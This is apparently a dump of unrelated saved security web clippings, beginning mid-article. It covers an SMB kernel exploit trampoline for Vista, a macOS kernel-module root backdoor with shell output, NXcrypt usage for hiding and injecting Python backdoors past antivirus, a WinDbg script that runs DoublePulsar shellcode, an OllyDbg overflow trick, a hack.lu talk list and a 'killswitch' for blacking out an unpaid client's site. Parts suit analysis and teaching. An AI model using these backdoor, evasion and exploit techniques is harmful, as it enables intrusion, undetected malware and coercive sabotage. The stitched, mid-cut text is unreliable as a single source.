In this step we will create a trampoline that will transfer the code execution
to the shellcode. Stephen's exploit code depended on a static "pop esi; ret"
address that made it unreliable on many non-virtual machines. With my
technique, we just need to find a stable 4-byte memory region filled with NULL
bytes \(or any other predictable value\) and we will force the SMB code to
build a trampoline for us, using just 351 packets. After some digging I found
following piece of code interesting \(located in the end of
\_SrvProcPartialCompleteCompoundedRequest@8 function\):

<img src='img/Temp2_5328.png' width='665' height='152' />

The instruction located at 0x0002115F is used to automically increase the
value pointed to by the EAX register by ECX \(=1\). This is actually a
variation of the InterlockedExchangeAdd function. The key point here is that
the EAX register value is controlled by the SMB packet and ECX is set to 1.
Lets review how the EBX register value is computed:

<img src='img/Temp2_5329.png' width='665' height='204' />

In the code above, you can that EBX is equal to the \[packet+0xAC\] field.
This means that the memory region that is be increased by the xadd instruction
is equal to \[packet+0xAC\]+0xBC \(this offset changes among the different
Vista versions\). This provides us with full control of the area that will be
increased by each request. So what we are going to do with it? We are going to
build a trampoline, dumbass :-\)

  

To do that we, must consider:

  

**1\)** We need an absolute memory address that is executable \(see DEP\) and
is filled with constant data \(NULLs in our case, however thanks to the xadd
arithmetic operation any stable value works\). We

need four bytes of NULLs at the address and an additional three bytes before
it to handle overlapping writes to reduce the number of packets required.

  

**2\)** We need to know what value to compute and how many requests it will
take to accomplish this.

  

Answers:

  

**1\)** Lets use the same BIOS/HAL region chosen by Stephen's exploit, since
the memory here is readable, writeable, and executable. NULL bytes in this
region are much easier to find than a POP ESI;RET for sure\!

  

**2\)** It seems that the opcode sequence "INC ESI; PUSH ESI; RET" \(0x46 0x5E
0xC3\) would be the easiest way to bounce to our shellcode using this as a
trampoline. However, writing the value 0x4656C3 with a single increment per
require would require us to send 4,609,731 packets. Fortunately, there is a
solution that reduces this to just 351 packets -- a much more reasonable
number. The trick is to divide the process into three stages, where each stage
is responsible for increasing only one byte. For example, we send 0x46 packets
to increment address+0, 0x65 packets to increment address+1, and 0xC3 packets
to increment loc+2.

  

**Step Three. Code Execution**

Now that the trampoline is ready we just need to jump to it, here is the code
responsible for that:

  

<img src='img/Temp2_5321.png' width='665' height='97' />

EAX \(call desitnation address\) is fully controlled by the value from the SMB
packet \(ESI+168h\). This offset changes does change between different Vista
versions. Here's the general schema of my attack:

<img src='img/Temp2_5324.png' />

  

  

That is all for now, expect to see an updated Metasploit module in the near
future that takes advantage of this technique.

# Static analysis of memory manipulations by abstract interpretation
Algorithmics of tropical polyhedra, and application to abstract interpretation

**Created:**| _10/15/2010 1:09:06 PM_  
---|---  
**Updated:**| _10/15/2010 1:10:35 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers reversing static_  
  
<img src='img/Temp2_7712' />

# CSS Killswitch

**Created:**| _2/14/2010 9:51:59 PM_  
---|---  
**Updated:**| _2/14/2010 9:52:05 PM_  
**Author:**| __  
**Tags:**| _web LOLZ_  
  

##  
What

CSS Killswitch lets you non- destructively black out a difficult client's
website with the click of a button.

## Why

Because sometimes, no matter how diplomatic you are, people are... well...
mean.

## How

Through the magical power of an external, dynamic CSS file. It's quick, safe,
and painless.

  

## The Lowdown

CSS \(short for "Cascading Style Sheets"\) is the markup that makes the
internet look the way it does.

CSS Killswitch works by creating a unique, inconspicuous, and innocuous
stylesheet that you'll link the potentially problematic client's site to.
Should negotiations go south and passwords get changed before you receive
payment, that stylesheet can be activated to superficially black out the site,
returning to you the upper hand. \*

When relations return and you've received payment, the killswitch is easily
deactivated and its traces removed.

Not convinced? Try a two second demo of what it could do to this page.

Oh, did I mention this is free? Because it's  _free_.

\* This technique, while clever, is  _not_ foolproof. A savvy recipient could
eventually find the offending CSS link and remove it. Keep that in mind.

## Enter

I have an account. Log me in\!  
I'm new. Sign me up\!

**Hint:** Leave fields blank to have them randomly generated. \(Ex:
_v9kra4gli3_\)

Site ID:

Password:

  

## Legalese

By using CSS Killswitch you abide to the following:

  * CSS Killswitch, its makers, and its users cannot be held liable for anything anywhere at any time from anybody, including its recipients.
  * Use at your own risk. No warranty. No guarantee.

## Disclaimer\(s\)

My attempt at a web killswitch is predated by a couple others, so the idea is
not new. Furthermore, my CSS version is far from ideal. In fact, of all the
ways to do something like this, mine is probably the easiest to diagnose and
override… but it is the easiest to implement.

In no way will this ever be 1% as good as a contract, and it undoubtedly has
some serious ethical and legal implications.

You can contact me via my blog's contact form if you have any questions,
suggestions, or thoughts about CSS Killswitch or any of my other projects.

  

  

# waliedassar: Another OllyDbg Anti-Debug Trick

**Created:**| _1/3/2012 4:26:33 PM_  
---|---  
**Updated:**| _1/3/2012 4:26:33 PM_  
**Author:**| __  
**Tags:**| _anti-debugging_  
  

## Sunday, January 1, 2012

###  Another OllyDbg Anti-Debug Trick

It is similar to, but different from the one i disclosed in the previous post.
The previous one occurs when OllyDbg tries to grab .sym files, but this one
occurs when it tries to grab .udd files.  
  

<img src='img/Temp2_10698.jpg' width='400' height='288' />

Similar to .sym files, OllyDbg grabs .udd files for all loaded modules,
including dynamically loaded ones, which gives us the chance to use this
buffer overflow as an anti-debug method.  
  
To exploit this buffer overflow, all you have to do is create a .dll with
length of 0x102 bytes and then LoadLibrary it.  
  

  
N.B. ollydbg.exe must reside in a directory with length of 0x29 bytes or more,
e.g. "D:\Documents and Settings\Administrator\Desktop\odbg110".  
  
  
Demo:  
http://ollytlscatch.googlecode.com/files/bug.exe  
  
Source code:  
https://docs.google.com/document/d/1Vi3UO6sglpoEYMPNdA8ZXKrc7oBmR-0Bd5v0rnFGfug/edit

# Abusing OS X TrustedBSD framework to install r00t backdoors... | Reverse Engineering Mac OS X
**Created:**| _9/24/2011 3:58:31 PM_  
---|---  
**Updated:**| _9/24/2011 3:58:31 PM_  
**Author:**| __  
**Tags:**| _BSD Mac-hacking_  
  

# Abusing OS X TrustedBSD framework to install r00t backdoors…

September 18, 2011 in Tools | 3 comments
While poking around OS X implementation of TrustedBSD to write the sandbox
guide I had the idea of trying to abuse it for backdooring purposes. It’s kind
of funny that something designed to protect can be so “easily” abused to
install backdoors.  
This is not rocket science or a big breakthru post – I was just curious about
the possibility to abuse the framework. You still need to find a way to
install the kernel module\!

So without further delay, I present you Rex, The Wonder Dog. It is a very
simple policy module for TrustedBSD that gives r00t privileges to a process
named “xyz”, if it calls task\_for\_pid\(\). For some unknown reason I
couldn’t yet do the same with fork\(\) \(it was only working for Safari\). I
was doing this at 3am so I really didn’t bothered too much about it. It is
based on SEDarwin sample policies code.  
I had some trouble to compile the policy module \(duplicate symbols\) if I try
to use the macro to initialize the module. I strongly suspect this is because
I am using XCode’s kernel extension template. This is just a lazy PoC <img
src='img/Temp2_455.gif' alt=';-)' />

The code is unstable. Processes start crashing and crash reporter isn’t
executing. It could be due to the very lazy way that r00t privileges are
changed for the target process \(it only starts to happen after backdoor is
activated\). Kernel land is dangerous territory\! It is tested only with Snow
Leopard 10.6.8. Might work with Lion without any problems. Load it as a normal
kernel module, with kextload.

Dmesg log when module is loaded:

[code]

    calling mpo_policy_init for rex_the_wonder_dog
    calling mpo_policy_initbsd for rex_the_wonder_dog
    Security policy loaded: Rex, the wonder dog! (rex_the_wonder_dog)
[/code]

Starting the backdoor and getting a r00t shell:

[code]

    $ ./xyz
    [info] calling task_for_pid()
    [info] task for pid returned 0
    [info] uid 501 euid 0
    [info] setting uid to 0...
    [info] uid 0 euid 0
    [info] executing r00t shell...
    # id
    uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),204(_developer),100(_lpoperator),98(_lpadmin),80(admin),
    61(localaccounts),29(certusers),20(staff),12(everyone),9(procmod),8(procview),5(operator),4(tty),3(sys),2(kmem),1(daemon),
    401(com.apple.access_screensharing),402(com.apple.sharepoint.group.1)
[/code]

Policy modules open interesting possibilities for implementing other things.
Maybe your own binary integrity check module? Or maybe some nice anti-debug
for software who must use kernel modules <img src='img/Temp2_455.gif'
alt=';-)' />

Sorry for the lazy and unstable code. I’m not that much interested in
backdoors, I was just interested in testing the possibility. It’s \(just\) a
clean way to activate a kernel backdoor. If you improve and want to share your
code feel free to send it\!

Have fun,  
fG\!

Here are the goodies.

rexthewonderdog\_v0.1.zip  
SHA256\(rexthewonderdog\_v0.1.zip\)=
4d75ab5859d6a3259de12a9e21a7ee4530b1bc1adb673e2fb24a4f66b9109eac

xyz.c  
SHA256\(xyz.c\)=
3e24337fc7b61f392066e0812051007e8942060a2906d720d345f019de894576

# PE File Format Graphs | Ero Carrera's blog
**Created:**| _8/9/2012 2:08:19 PM_  
---|---  
**Updated:**| _8/9/2012 2:08:19 PM_  
**Author:**| __  
**Tags:**| _reversing pe_  
  

# PE File Format Graphs

I finally found some time to find and share the full PDF versions of the PE
format diagrams. I learned a lot about the PE format back when I made them.  
  
  
  
I really have to thank Ange Albertini for motivating me to share them\!  
  
These visualizations were originally intended as posters that I put up in
Cafepress, thanks to everybody that bought them\!\! Slightly older versions
were hosted in OpenRCE.  
  
  
  
For those who might be interested, I used the great OmniGraffle to create
these diagrams.  
  
  
  

<img src='img/7833_AwO4ffCCIAAdANF.png' width='293' height='400' />

  
  
  
  
The PDFs:  
  
  
  

  * PE Format Walkthrough
  * PE Format Layout

  
  
From some other great visualizations, check out corkami's\!

# NXcrypt - Python Backdoor Framework

**Created:**| _6/29/2017 4:09:07 PM_  
---|---  
**Updated:**| _6/29/2017 4:09:07 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Python Backdoor Framework

<img src='img/NXcrypt.png' width='576' height='454' />

**NXcrypt**

  * NXcrypt is a polymorphic 'python backdoors' crypter written in python by Hadi Mene \(h4d3s\) . The output is fully undetectable .
  * NXcrypt can inject malicious python file into a normal file with multi-threading system .
  * Run it with superuser's permissions .
  * NXcrypt output is Fully undetectable .

<img src='img/7302_faraday-728x90+%282%29.png' width='576' height='71' />

**Usage :**

  * sudo ./NXcrypt.py --file=backdoor.py --output=output\_backdoor.py \# encrypt backdoor.py and output file is output\_backdoor.py
  * sudo ./NXcrypt.py --file=shell.py \# encrypt shell.py and default output file is backdoor.py but you can edit it in source code
  * sudo ./NXcrypt.py --help \# NXcrypt help
  * sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py \# inject payload.py with test.py into hacked.py with multi-threading system

**How it work ?**

  * Encryption module :

  * NXcrypt add some junkcode .
  * NXcrypt use a python internal module 'py\_compile' who compile the code into bytecode to a .pyc file .
  * NXcrypt convert .pyc file into normal .py file .
  * And in this way we can obfuscate the code
  * The md5sum will change too

  * Injection module :

  * it inject a malicious python file into a normal file with multi-threading system .

**Test with Virustotal**  
Before :  
SHA256: e2acceb6158cf406669ab828d338982411a0e5c5876c2f2783e247b3e01c2163 File
name: facebook.py Detection ratio: 2 / 54  
After :  
SHA256: 362a4b19d53d1a8f2b91491b47dba28923dfec2d90784961c46213bdadc80add File
name: facebook\_encrypted.py Detection ratio: 0 / 55  
  
**Video Tutorial**  
https://www.youtube.com/watch?v=s8Krngv2z9Q

**Download NXcrypt**

  

# My SysAd Blog -- Unix: Z Shell for loop -- UNIX zsh

**Created:**| _5/21/2009 1:56:01 PM_  
---|---  
**Updated:**| _5/21/2009 1:56:10 PM_  
**Author:**| __  
**Tags:**| _zsh_  
  

### Z Shell for loop -- UNIX zsh

Here is a succinct use of the for loop using the robust Z Shell. See ZSH is
cool: Brace Expansion by Stéphane Kattoor for background details. Here is a
practical application of the zsh for loop.  
  
Using the Bourne shell for loop  
\# sh  
\# for i in 1 2 3 4 5 6 7 8 9 10 11 12  
do  
rcp -p /etc/hosts  _esoftclient_ $i:/etc  
done  
  
Now using brace expansion for the Z shell for loop  
\# zsh  
\# for i in \{1..12\}  
do  
rcp -p /etc/hosts  _esoftclient_ $i:/etc  
done

\# zsh  
\# for i in \{1..100\}  
do  
rcp -p /etc/hosts  _esoftclient_ $i:/etc  
done  

# Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging
DoublePulsar Shellcode.

**Created:**| _8/2/2017 10:12:02 PM_  
---|---  
**Updated:**| _8/2/2017 10:12:02 PM_  
**Author:**| __  
**Tags:**| __  
  

  

23 June, 2017⁄

# Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging
DoublePulsar Shellcode.

1 Vote

  

In this article i’d like to share a windbg script that will let us to load a
shellcode from a file to kernel memory and create a kernel thread to execute
it. I have not played a lot with the script yet, if you find some bug please
tell me.

##

## Windbg Script for loading the shellcode and creating a thread for running
it

You can find the script in my github:

load\_code\_to\_kernel\_memory.wdbg

The parameters of the script:

$$>a<load\_code\_to\_kernel\_memory.wdbg <src code> <mem size> <offset start
routine>

The first argument is the path to the file containing the shellcode. The
second one is the size of the memory to reserve \(enought for allocating the
shellcode\). The third parameter is the offset into the shellcode where we
want the thread starts to execute.

Careful: The size of the file with the shellcode should be padded to fit a
multiple of page size. We are using the command .readmem to load the
shellcode, and it will read blocks of 0x1000 bytes. For example, if your
shellcode file has 0x2800 bytes, .readmem will load 0x2000 bytes only. You
will need to complete the file with 0x800 additional trash bytes to load the
full code.

### A quick explanation about the script

We will need to hijack a running thread for a while. We want to redirect that
thread execution to ExAllocatePool to reserve memory for the shellcode \(we
will manipulate the stack of the hijacked thread to do that, and we will
restore it later\).

For this purpose, we will set a breakpoint at NtCreateFile \(a frequently
called function\). When we have the thread stopped there, we can manipulate
it:

> $$set a breakpoint on a common function that is executed frequently
> \(NtCreateFile for example\) for hijacking the thread for a while
> ba e1 nt\!NtCreateFile  
>  g
> .printf “$\{$arg1\}”  
>  .printf “$\{$arg2\}”  
>  .printf “$\{$arg3\}”
> bc \*
> $$save original esp register and stack parameters that we are going to
> overwrite when calling ExAllocatePool and PsCreateSystemThread
> r @$t19 = \(poi esp\)  
>  r @$t18 = \(poi esp+4\)  
>  r @$t17 = \(poi esp+8\)  
>  r @$t16 = \(poi esp+c\)  
>  r @$t15 = \(poi esp+10\)  
>  r @$t14 = \(poi esp+14\)  
>  r @$t13 = \(poi esp+18\)  
>  r @$t12 = \(poi esp+1c\)  
>  r @$t11 = esp
Once we have the thread, we will change eip and stack to execute
ExAllocatePool:

> $$change the stack with the parameters that we need for ExAllocatePool
> ed \(esp+4\) 0  
>  ed \(esp+8\) $\{$arg2\}
> $$hijack the thread running on NtCreateFile to execute ExAllocatePool
> u nt\!ExAllocatePool  
>  dd esp  
>  r eip = nt\!ExAllocatePool
> $$steps until the ret instruction is found. We cant execute step out \(gu\)
> because we would get a 0x30 bugcheck, this is the reason:  
>  $$ “This bug check occurs when there’s a stack underflow detected when
> restoring context coming out of a trap. There’s a check to  
>  $$ validate that the current ESP is less than the ESP saved in the trap
> frame. If current\_esp < saved\_esp, bugcheck. ”
> .while \(1\)  
>  \{  
>  p  
>  r @$t10 = \(poi eip\)  
>  r @$t10 = @$t10 & 0x000000ff
> .if \(@$t10 == 0xc2\)  
>  \{  
>  .break  
>  \}  
>  \}
> r @$t0 = eax
> .printf “allocated mem: %x\n”, @$t0
Now we have allocated enought space for the shellcode, so load it:

> $$load code from file to allocated memory
> $$careful: .readmem will read blocks of 0x1000 bytes. For example, if your
> file to load has 0x2800 bytes, .readmem will load 0x2000 bytes only.  
>  $$You will need to complete the file with 0x800 additional trash bytes to
> load the full code
> .readmem $\{$arg1\} @$t0
> $$ @$t1 = allocated mem membase, code is read
> r @$t1 = @$t0
And now, we want to create a thread on shellcode + arg3:

> $$Now we are going to create a kernel thread at @$t1 + arg3 \(membase +
> startroutine\_offset\)
> $$ NTSTATUS PsCreateSystemThread\(  
>  $$ \_Out\_ PHANDLE ThreadHandle,  
>  $$ \_In\_ ULONG DesiredAccess,  
>  $$ \_In\_opt\_ POBJECT\_ATTRIBUTES ObjectAttributes,  
>  $$ \_In\_opt\_ HANDLE ProcessHandle,  
>  $$ \_Out\_opt\_ PCLIENT\_ID ClientId,  
>  $$ \_In\_ PKSTART\_ROUTINE StartRoutine,  
>  $$ \_In\_opt\_ PVOID StartContext  
>  $$ \);
> ed \(esp+1c\) 0  
>  ed \(esp+18\) @$t1+$\{$arg3\}  
>  ed \(esp+14\) 0  
>  ed \(esp+10\) 0  
>  ed \(esp+c\) 0  
>  ed \(esp+8\) 0  
>  $$ThreadHandle inout, we use the memory of the parameter StartContext that
> we dont need  
>  ed \(esp+4\) \(esp+1c\)
> $$set a breakpoint where the thread is going to be created
> ba e1 @$t1+$\{$arg3\}
> u nt\!PsCreateSystemThread  
>  dd esp  
>  r eip = nt\!PsCreateSystemThread
> $$again steps until ret instruction is found
> .while \(1\)  
>  \{  
>  p  
>  r @$t10 = \(poi eip\)  
>  r @$t10 = @$t10 & 0x000000ff
> .if \(@$t10 == 0xc2\)  
>  \{  
>  .break  
>  \}  
>  \}
Finally, we restore stack and eip to continue the execution of the hijacked
thread correctly at NtCreateFile, or the system will crash:

> $$restore original registers and stack to continue the execution with no
> problems
> r eip = nt\!NtCreateFile  
>  r esp = @$t11  
>  ed esp @$t19  
>  ed \(esp+4\) @$t18  
>  ed \(esp+8\) @$t17  
>  ed \(esp+c\) @$t16  
>  ed \(esp+10\) @$t15  
>  ed \(esp+14\) @$t14  
>  ed \(esp+18\) @$t13  
>  ed \(esp+1c\) @$t12
> g
After this, windbg should stop at the breakpoint in the offset of the
shellcode that we wanted the thread to start.

## Testing the script with DoublePulsar shellcode

We are going to test the script with a DoublePulsar Shellcode extracted from a
worm/ransom whose name i don’t want to remember.

You can download the shellcode file from here \(rar password: infected\).

The size of the file is 0x3000. I have not reversed the shellcode in depth,
but a good point for starting to debug seems to be the offset 0x221 \(later we
will see why\).

We execute the script and here it is the printed debug traces:

> kd> $$>a<load\_code\_to\_kernel\_memory.wdbg shellcode.bin 3000 221
> Breakpoint 0 hit <\- nt\!NtCreateFile hit
> nt\!ExAllocatePool:  
>  8261e976 8bff mov edi,edi  
>  8261e978 55 push ebp  
>  8261e979 8bec mov ebp,esp  
>  8261e97b 684e6f6e65 push 656E6F4Eh  
>  8261e980 ff750c push dword ptr \[ebp+0Ch\]  
>  8261e983 ff7508 push dword ptr \[ebp+8\]  
>  8261e986 e87a461100 call nt\!ExAllocatePoolWithTag \(82733005\)  
>  8261e98b 5d pop ebp
> 9e867d04 826511ea 00000000 00003000 040bfb54 <\- stack for ExAllocatePool
> allocated mem: 849f4000 <\- allocated memory
> Reading 10000 bytes…… <\- .readmem shellcode
> nt\!PsCreateSystemThread:  
>  8281bfb6 8bff mov edi,edi  
>  8281bfb8 55 push ebp  
>  8281bfb9 8bec mov ebp,esp  
>  8281bfbb 83e4f8 and esp,0FFFFFFF8h  
>  8281bfbe 83ec34 sub esp,34h  
>  8281bfc1 a148da7382 mov eax,dword ptr \[nt\!\_\_security\_cookie
> \(8273da48\)\]  
>  8281bfc6 33c4 xor eax,esp  
>  8281bfc8 89442430 mov dword ptr \[esp+30h\],eax
> 9e867d04 826511ea 9e867d20 00000000 00000000 <\- stack for
> PsCreateSystemThread  
>  9e867d14 00000000 00000000 849f4221 00000000  
>  9e867d24 00000001 00000060 00000000 00000000
> Breakpoint 0 hit <\- shellcode hit
> 849f4221 b923000000 mov ecx,23h  
>  0: kd> u eip  
>  849f4221 b923000000 mov ecx,23h  
>  849f4226 6a30 push 30h  
>  849f4228 0fa1 pop fs  
>  849f422a 8ed9 mov ds,cx  
>  849f422c 8ec1 mov es,cx  
>  849f422e 648b0d40000000 mov ecx,dword ptr fs:\[40h\]  
>  849f4235 8b6104 mov esp,dword ptr \[ecx+4\]  
>  849f4238 ff35fcffdfff push dword ptr ds:\[0FFDFFFFCh\]
###

### SYSENTER\_EIP HOOK

We can see the new created thread is stopped at the point of the shellcode
that we have specified:

<img src='img/temp17.jpg' width='700' height='564' alt='temp.jpg' />

At offset 0x20B we can see a function of the shellcode that is hooking
sysenter\_eip.

We can see the shellcode is using the address 0xFFDFFFFC to store
MSR\[0x176\]. You can execute:

1: kd> dt nt\!\_kuser\_shared\_data ffdf0000

Nt\!\_kuser\_shared\_data structure is located at ffdf0000, so i guess the
shellcode is using the free space in the page of Nt\!\_kuser\_shared\_data
after this structure to store the temporal value that it needs.

Here you can read about hooking system calls through MSR \(very interesting\):

http://resources.infosecinstitute.com/hooking-system-calls-msrs

So the offset 0x221 is the hook for sysenter\_eip, for this reason i think it
is a good point to debug from here.

Let’s continue reversing the code of sysenter\_eip hook:

<img src='img/6572_temp13.jpg' width='700' height='642' alt='temp.jpg' />

In kernel-land, at fs:\[0\] we have the \_KPCR structure. We can see how the
shellcode gets some values that it needs from this structure and other
structures pointed from here.

  * fs:0x40 -> \_KTSS
  * \_KTSS + 4 -> Esp0 \(correct Esp for continue executing in kernel\)
  * nt\!kuser\_shared\_data+0x304 -> SystemCallReturn
  * \_KPCR + 0x1C -> SelfPcr \(\_KPCR\)
  * SelfPcr + 0x120 -> PrcbData \(\_KPRCB\)
  * PrcbData+0x4 -> CurrentThread \(\_KTHREAD\)
  * CurrentThread+0x28 -> InitialStack

After all these initializations, it calls the main code of the hook, but
before, it restores the MSR\[176\] \(SYSENTER\_EIP\). It already has a thread
from user mode, and probably it is enought for its purposes.

### SHELLCODE MAIN CODE

I have not debugged very in depth the shellcode, but we will see the first
part of the shellcode main code executed from the sysenter\_eip the hook:

<img src='img/6574_temp14.jpg' width='700' height='662' alt='temp.jpg' />

We can see how the shellcode is taking a pointer of the IDT to have a address
into ntoskrnl.exe. In this way it can find the base of ntoskrnl.exe going back
in the memory space until finding the PE header.

After that, it gets by CRC some APIs that it needs: ExAllocatePool,
ExFreePool, ZwQuerySystemInformation.

Later, it uses ZwQuerySystemInformation to list all loaded modules, searching
for kdcom.dll \(antidebug trick?\) and specially srv.sys:

<img src='img/temp16.jpg' width='700' height='702' alt='temp.jpg' />

When it finds srv.sys, it walks the PE sections of the module, trying to find
something into the data.

This shellcode works with an SMB exploit. From my point of view now it is
trying to find other parts of the data that the exploit sent \(probably a PE
to load\).

###

### Conclusions

I have not continued debugging the shellcode, because this was only to test
the script and show how to debug a shellcode without needing to execute the
full exploit \(there is a lot of information about DoublePulsar on internet,
for example: https://zerosum0x0.blogspot.com.es/2017/04/doublepulsar-initial-
smb-backdoor-ring.html\)

Sometimes it is much faster to load the shellcode and debug than installing a
vulnerabile machine, executing the exploit, etc…

I hope the script and the article help you in your reversing sessions <img
src='img/6570_1f642.svg' width='16' height='16' alt='🙂' />

### Compártelo:

  * Twitter
  * Facebook26
  * Google
  * 

### Like this:

 Like

Be the first to like this.

### _Related_

Batch, attach and patch: using windbg's local kernel debugger to execute code
in windows kernelIn "Windbg"

Anti-Antidebugging WinDbg ScriptsIn "Malware"

Debugging programs with multiple processes with windbg's kernel mode
debuggerIn "Windbg"

Posted in Bugs, Hacking, Malware, Windbg⁄Leave a comment⁄

  

# List - Hack.lu 2009

**Created:**| _9/25/2009 5:13:37 PM_  
---|---  
**Updated:**| _9/25/2009 5:13:47 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

  * Log in / create account

##### Navigation

  * Main Page
  * Agenda
  * Archive
  * Barcamp
  * Registration & Info
  * Call for Papers
  * Recent changes

##### SEARCH

##### TOOLBOX

##### LANGUAGES

List

  * Page
  * Discussion
  * View source
  * History

# List

### From Hack.lu 2009

Jump to: navigation, search

## Contents

  * 1 List of the Talks that will be held at hack.lu 2009
    * 1.1 Keynote: Politically motivated Denial of Service attacks
      * 1.1.1 Bio of Dr. Jose Nazario
    * 1.2 New advances in office Malware analysis
      * 1.2.1 Bio of Frank Boldewin
    * 1.3 Ownage 2.0
      * 1.3.1 Bio of Saumil Shah
    * 1.4 Sniff Keystrokes With Lasers/Voltmeters - Side Channel Attacks Using Optical Sampling Of Mechanical Energy And Power Line Leakage
      * 1.4.1 Bio of Daniele Bianco and Andrea Barisani
    * 1.5 Some Tricks For Defeating SSL In Practice
      * 1.5.1 Bio Moxie Marlinspike
    * 1.6 PDF-Penetration Document Format
      * 1.6.1 Bio Didier Stevens
    * 1.7 Fuzzgrind: An automatic fuzzing tool
      * 1.7.1 Bio Gabriel Campana
    * 1.8 Perseus: A Coding Theory-based Firefox Plug-in to Counter Botnet Activity
      * 1.8.1 Bio Eric Filiol, Eddy Deligne
    * 1.9 Exploitng Delphi/Object Pascal
      * 1.9.1 Bio Ilja van Sprundel
    * 1.10 When E.T. comes into Windows Mobile 6...
      * 1.10.1 Bio Cedric Halbronn
    * 1.11 Deconstructing Dalvik Bytecode
      * 1.11.1 Bio Marc Schoenefeld
    * 1.12 IpMorph: Unification of OS fingerprinting defeating
      * 1.12.1 Bio Guillaume Prigent, Florian Vichot
    * 1.13 Peeking into Pandora's Bochs - instrumenting a full system emulator to analyse malicious software
      * 1.13.1 Bio Lutz Böhne
    * 1.14 Challenge of Windows physical memory acquisition and exploitation
      * 1.14.1 Bio Matt Suiche
    * 1.15 HostileWRT: Fully-Automated Wireless Security Audit Platform on Embedded Hardware
      * 1.15.1 Bio Philippe Langlois, Eugene Parkinson
    * 1.16 Implementation of K-ary viruses in python
      * 1.16.1 Bio Anthony Desnos
    * 1.17 Psychotronica: Exposure, Control, and Deceit
      * 1.17.1 Bio Nitesh Dhanjani
    * 1.18 Playing in a satellite environment1.2
      * 1.18.1 Bio Christian Martorella

  
---  
## List of the Talks that will be held at hack.lu 2009

### Keynote: Politically motivated Denial of Service attacks

The rapid growth of the Internet has been mirrored by a growing number of
packet flooding attacks around the world coupled to political motivations.
Estonia, Georgia, CNN, the Ukraine, and many other targets have been seen in
this sphere in the past few years, and have been going on for nearly a decade.
This talk explores the world of DDoS attacks and their growing role as an
online political weapon. It also covers how Arbor Networks measured the
Estonia and Georgia attacks, how other attacks are measured, and what these
attacks mean for the Internet at large.

##### Bio of Dr. Jose Nazario

Dr. Jose Nazario is Manager of Security Research at Arbor Networks. In this
capacity, he is responsible for analyzing burgeoning Internet security
threats, reverse engineering malicious code, software development, developing
security mechanisms that are then distributed to Arbor's Peakflow platforms
via the Active Threat Feed \(ATF\) threat detection service. Dr. Nazario's
research interests include large-scale Internet trends such as reachability
and topology measurement, Internet-scale events such as DDoS attacks, botnets
and worms, source code analysis tools, and data mining. He is the author of
the books "Defense and Detection Strategies against Internet Worms" and
"Secure Architectures with OpenBSD." He earned a Ph.D. in biochemistry from
Case Western Reserve University in 2002. Prior to joining Arbor Networks, he
was an independent security consultant. Dr. Nazario regularly speaks at
conferences worldwide, with past presentations at CanSecWest, PacSec,
Blackhat, and NANOG. He also maintains WormBlog.com, a site devoted to
studying worm detection and defense research.

  

### New advances in office Malware analysis

Today's malware spreads mainly by exploiting browser bugs or 3rd party plugins
like Flash, PDF and so forth. Furthermore mails with malicious attachments are
being spread into people's inboxes. These attachments usually are PDFs or
MSOffice documents. While there are a bunch of PDF analysis tools available
today, they are not for the MSOffice formats like Powerpoint, Excel or Word.
This talk will cover current ways of analyzing such documents and will
introduce a new forensic toolsuite called OfficeMalScanner. We will disuss all
the technical approaches of this tool and i will show a practical session as
well, to demonstrate its usage in detail.

##### Bio of Frank Boldewin

Frank Boldewin is a reverse engineer from germany with long experience in
security & malware research. By day he works as a security analyst for a large
german datacenter in the finance field. His private interests are mainly
focused on malware analysis and he loves everything that belongs to assembly,
anti-/debugging and systemprogramming. On his site, www.reconstructer.org he
frequently posts papers, video tutorials and tools regarding this research
field.

  

### Ownage 2.0

It is 2009 and the underground cyber economy is flourishing. Spam has become a
lucrative business, writing exploits fetches real money, financial fraud is on
the rise and the worms are loose. Although this is nothing compared to the
financial blunders that led to the current recession, it is interesting to
know how all the pieces fit together. We've known about classic web hacking,
exploiting binaries, shellcode, abusing protocols and tricking users.

This talk explores how each vulnerability plays a key part in making the
larger system come together - attack patterns of tomorrow, the objectives,
motives and where all the pieces of the puzzle fit together. How do individual
SQL Injection, Browser exploits, PDF bugs, XSS, etc fit together? What have we
learned from the past, and what are the core design issues in HTTP, HTML,
Browsers and application programming that make for mass ownership
opportunities? In our quest for mashups and Web 2.0, have we compromised on
fundamental security principles?

Last year, I talked about some of the core problems that plagued browsers.
This year, the talk goes beyond just browsers and looks at examples of mass
ownage, new infection vectors, advanced client-side exploitation, malicious
payloads, browser infection with toolbars and more. Everything is assembled
before your very eyes\! And as a bonus, I will demonstrate some of my own
attempts at defeating Web Application Firewalls and Browser Firewalls \(yes
there is such a creature called a Browser Firewall\)

##### Bio of Saumil Shah

Saumil continues to lead the efforts in security research at Net-Square.
Saumil has had more than ten years experience with system administration,
network architecture, integrating heterogenous platforms, and information
security and has perfomed numerous ethical hacking exercises for many
significant companies in the IT area. Saumil has been a regular speaker and
trainer at conferences such as Blackhat, RSA, Hack-in-the-Box, IT Underground,
CanSecWest, EUSecWest, Hack.LU, etc.

Previously, Saumil held the position of Director of Indian operations at
Foundstone Inc. and a senior consultant with Ernst & Young. Saumil has also
worked at the Indian Institute of Management, Ahmedabad, as a research
assistant.

Saumil graduated from Purdue University with a master's degree in computer
science and a strong research background in operating systems, networking,
infomation security, and cryptography. He got his undergraduate degree in
computer engineering from Gujarat University, India. Saumil has authored "Web
Hacking: Attacks and Defense" \(Addison Wesley, 2002\) and "The Anti-Virus
Book" \(Tata McGraw-Hill, 1996\)

PAPERS PUBLISHED: - Facts and findings from the Honeynet project -
Architectural vulnerabilities in Java application servers - One-way Web
Hacking - HTTP Fingerprinting and advanced assessment techniques - Defeating
automated web assessment - Spyware and adware, the quest for the consumer
desktop - Web 2.0 Application Security

  

### Sniff Keystrokes With Lasers/Voltmeters - Side Channel Attacks Using
Optical Sampling Of Mechanical Energy And Power Line Leakage

TEMPEST attacks, exploiting Electro Magnetic emissions in order to gather
data, are often mentioned by the security community, movies and wanna-be spies
\(or NSA employees we guess...\).

While some expensive attacks, especially the ones against CRT/LCD monitors,
have been fully researched and described, some others remain relatively
unknown and haven't been fully \(publicly\) researched.

Following the overwhelming success of the SatNav Traffic Channel hijacking
talk we continue with the tradition of presenting cool and cheap hardware
